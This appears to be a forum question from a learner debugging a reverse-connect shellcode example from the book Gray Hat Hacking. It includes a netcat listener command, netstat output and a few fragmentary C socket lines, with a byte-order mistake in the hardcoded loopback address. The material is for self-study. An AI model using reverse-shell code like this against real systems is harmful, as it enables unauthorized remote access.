I'm working through Gray Hat Hacking and I'm trying to write the reverse connect shellcode example in the book.
The code originally had serv_addr.sin_addr.s_addr=0x650A0A0A; in it, which is 10.10.10.101. I figured it might be part of the environment in the book, so I changed it to 0x100000F7;, which is 127.0.0.1.
The book has me run a netcat session as "nc -nlvv -p 49059" and then run the program, which should just connect to the netcat session. nc just sits there, and the program just sits there. When I do a netstat to see what's going on, I get:
Which is an external IANA reserved IP. When I change the code to reflect the book, it goes out to the proper IP that I hardcoded, which is 10.10.10.101 and when I hardcode my wlan0's IP, it goes out to 22.214.171.124 which is owned by ATT. When I turn off the internet, the code just exits.
tcp 0 0 0.0.0.0:48059 0.0.0.0:* LISTEN 15795/nc
tcp 0 1 192.168.1.69:55624 247.0.0.16:48059 SYN_SENT 16187/reverse_conne
The book does not provide an environment to code in like Art of Exploitation does, so I'm trying it in BT4. I'm pretty much dumbfounded at this point, I'm not even sure how to troubleshoot this further. I understand if this is considered off topic.
Thanks in advance!
Source is below:
char * shell;
struct sockaddr_in serv_addr;
remote = connect(soc, (struct sockaddr*)&serv_addr, 0x10);